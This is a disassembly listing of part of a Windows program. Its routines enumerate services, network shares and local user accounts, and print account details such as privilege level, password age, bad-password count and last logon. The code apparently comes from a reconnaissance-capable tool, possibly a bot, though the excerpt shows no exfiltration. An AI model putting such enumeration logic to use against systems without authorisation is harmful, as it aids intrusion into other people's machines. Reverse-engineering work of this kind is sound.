		call	near ptr 26A0CACh
		nop
		cmp	eax, 0EAh
		jnz	loc_418FCE


loc_418F1A:				; CODE XREF: sub_418EA8+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418FC5
		lea	esi, [ebp+var_188]


loc_418F2B:				; CODE XREF: sub_418EA8+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418F74
		dec	eax
		jz	short loc_418F6D
		dec	eax
		jz	short loc_418F66
		dec	eax
		jz	short loc_418F5F
		dec	eax
		jz	short loc_418F58
		dec	eax
		jz	short loc_418F51
		dec	eax
		jz	short loc_418F4A
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F4A:				; CODE XREF: sub_418EA8+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F51:				; CODE XREF: sub_418EA8+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F58:				; CODE XREF: sub_418EA8+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F5F:				; CODE XREF: sub_418EA8+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F66:				; CODE XREF: sub_418EA8+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F6D:				; CODE XREF: sub_418EA8+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F74:				; CODE XREF: sub_418EA8+87j
		push	offset aStopped	; "    Stopped"


loc_418F79:				; CODE XREF: sub_418EA8+A0j
					; sub_418EA8+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_418F2B


loc_418FC5:				; CODE XREF: sub_418EA8+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418EE0


loc_418FCE:				; CODE XREF: sub_418EA8+6Cj
		push	[ebp+var_C]
		call	dword_4CB8DC
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FE5	proc near		; CODE XREF: sub_401ACD:loc_406064p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_41907F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41900E
		dec	eax
		jnz	short loc_41905F
		push	edi
		push	0
		call	sub_4191B8
		pop	ecx
		pop	ecx
		jmp	short loc_41905B
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418FE5+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41904D
		push	24h
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41904D
		push	57h
		pop	eax


loc_419025:				; CODE XREF: sub_418FE5+78j
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB64C
		push	off_439520[eax*4]
		push	offset unk_439BCC
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41904D:				; CODE XREF: sub_418FE5+2Dj
					; sub_418FE5+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_41910C
		add	esp, 0Ch


loc_41905B:				; CODE XREF: sub_418FE5+27j
		test	eax, eax
		jnz	short loc_419025


loc_41905F:				; CODE XREF: sub_418FE5+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB64C
		push	off_439524[eax*4]
		push	offset dword_439BB0
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41907F:				; CODE XREF: sub_418FE5+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB64C
		lea	eax, [eax+eax*2]
		push	off_439520[eax*4]
		push	offset unk_439B8C
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_41909F:				; CODE XREF: sub_418FE5+66j
					; sub_418FE5+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418FE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190A5	proc near		; CODE XREF: sub_41A3C6+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_4190B2
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4190B2:				; CODE XREF: sub_4190A5+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_427188
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB84C, 1
		mov	ebp, eax
		jnz	short loc_4190EF
		or	byte_4DB84C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	dword_4DB5EC, eax


loc_4190EF:				; CODE XREF: sub_4190A5+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB5EC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB5EC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4190A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41910C	proc near		; CODE XREF: sub_418FE5+6Ep
					; sub_41A6EA+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C990
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_419177
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB8D8
		pop	edi
		leave
		retn
sub_41910C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419177	proc near		; CODE XREF: sub_41910C+Ap
					; sub_41910C+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419184
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419184:				; CODE XREF: sub_419177+9j
		push	ebx
		push	esi
		mov	esi, dword_4270E8
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419177	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191B8	proc near		; CODE XREF: sub_418FE5+20p
					; sub_41A3C6+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB8B0
		pop	esi
		retn
sub_4191B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191DB	proc near		; CODE XREF: sub_401ACD+45AEp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_419177
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_419214:				; CODE XREF: sub_4191DB+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB928
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_419277
		cmp	ebx, 0EAh
		jz	short loc_419277
		push	ebx
		push	ebx
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439C18
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_4192E4
; ---------------------------------------------------------------------------


loc_419277:				; CODE XREF: sub_4191DB+5Dj
					; sub_4191DB+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4192DB
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_419285:				; CODE XREF: sub_4191DB+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB8CC
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_41929C
		mov	eax, offset aNo	; "No"


loc_41929C:				; CODE XREF: sub_4191DB+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419285
		xor	esi, esi


loc_4192DB:				; CODE XREF: sub_4191DB+A2j
		push	[ebp+var_4]
		call	dword_4CBA74


loc_4192E4:				; CODE XREF: sub_4191DB+9Aj
		cmp	ebx, 0EAh
		jz	loc_419214
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4191DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192FC	proc near		; CODE XREF: sub_401ACD:loc_4060EDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4193A1
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_41933E
		dec	eax
		jz	short loc_419333
		dec	eax
		jnz	short loc_419359
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_419443
		add	esp, 14h
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419333:				; CODE XREF: sub_4192FC+1Dj
		push	ebx
		push	edi
		call	sub_419422
		pop	ecx
		pop	ecx
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_41933E:				; CODE XREF: sub_4192FC+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_419352
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4193C8
		add	esp, 0Ch
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419352:				; CODE XREF: sub_4192FC+45j
		push	57h
		pop	eax


loc_419355:				; CODE XREF: sub_4192FC+35j
					; sub_4192FC+40j ...
		cmp	eax, edi
		jnz	short loc_419379


loc_419359:				; CODE XREF: sub_4192FC+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB850
		push	off_439524[eax*4]
		push	offset unk_439CD0
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_419379:				; CODE XREF: sub_4192FC+5Bj
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB850
		push	off_439520[eax*4]
		push	offset unk_439CA0
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_4193A1:				; CODE XREF: sub_4192FC+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB850
		lea	eax, [eax+eax*2]
		push	off_439520[eax*4]
		push	offset unk_439C78
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_4193C1:				; CODE XREF: sub_4192FC+7Bj
					; sub_4192FC+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4192FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193C8	proc near		; CODE XREF: sub_4192FC+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_419177
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB8BC
		pop	edi
		leave
		retn
sub_4193C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419422	proc near		; CODE XREF: sub_4192FC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB8AC
		pop	esi
		retn
sub_419422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419443	proc near		; CODE XREF: sub_4192FC+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CBA3C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4197EB
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419826
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41C266
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419562
		dec	eax
		jz	short loc_41955B
		dec	eax
		jz	short loc_419554
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419554:				; CODE XREF: sub_419443+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_41955B:				; CODE XREF: sub_419443+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419562:				; CODE XREF: sub_419443+102j
		mov	eax, offset aGuest ; "Guest"


loc_419567:				; CODE XREF: sub_419443+10Fj
					; sub_419443+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41C266
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419817
; ---------------------------------------------------------------------------


loc_4197EB:				; CODE XREF: sub_419443+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439CF0
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409869
		add	esp, 20h


loc_419817:				; CODE XREF: sub_419443+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_419826
		push	[ebp+var_4]
		call	dword_4CBA74


loc_419826:				; CODE XREF: sub_419443+40j
					; sub_419443+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_419443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41982C	proc near		; CODE XREF: sub_401ACD+463Ap

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_419177
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_41986B:				; CODE XREF: sub_41982C+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB944
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4198CC
		cmp	eax, 0EAh
		jz	short loc_4198CC
		push	eax
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439EE0
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_4198CC:				; CODE XREF: sub_41982C+62j
					; sub_41982C+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41995A
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_419947


loc_4198DE:				; CODE XREF: sub_41982C+EDj
		cmp	edi, esi
		jz	short loc_41991D
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4198DE
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_41991D:				; CODE XREF: sub_41982C+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439EAC
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_419947:				; CODE XREF: sub_41982C+9Ej
					; sub_41982C+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41995A
		push	edi
		call	dword_4CBA74
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41995A:				; CODE XREF: sub_41982C+A5j
					; sub_41982C+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41986B
		cmp	edi, esi
		jz	short loc_419972
		push	edi
		call	dword_4CBA74


loc_419972:				; CODE XREF: sub_41982C+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41982C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199AC	proc near		; CODE XREF: sub_418FE5+41p
					; sub_4191DB+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419A5E
		jz	loc_419A57
		cmp	eax, 7Bh
		ja	short loc_419A23
		jz	short loc_419A19
		cmp	eax, 5
		jz	short loc_419A0F
		cmp	eax, 8
		jz	short loc_419A05
		cmp	eax, 32h
		jz	short loc_4199FB
		cmp	eax, 35h
		jz	short loc_4199F1
		cmp	eax, 57h
		jnz	loc_419AAD
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199F1:				; CODE XREF: sub_4199AC+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199FB:				; CODE XREF: sub_4199AC+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


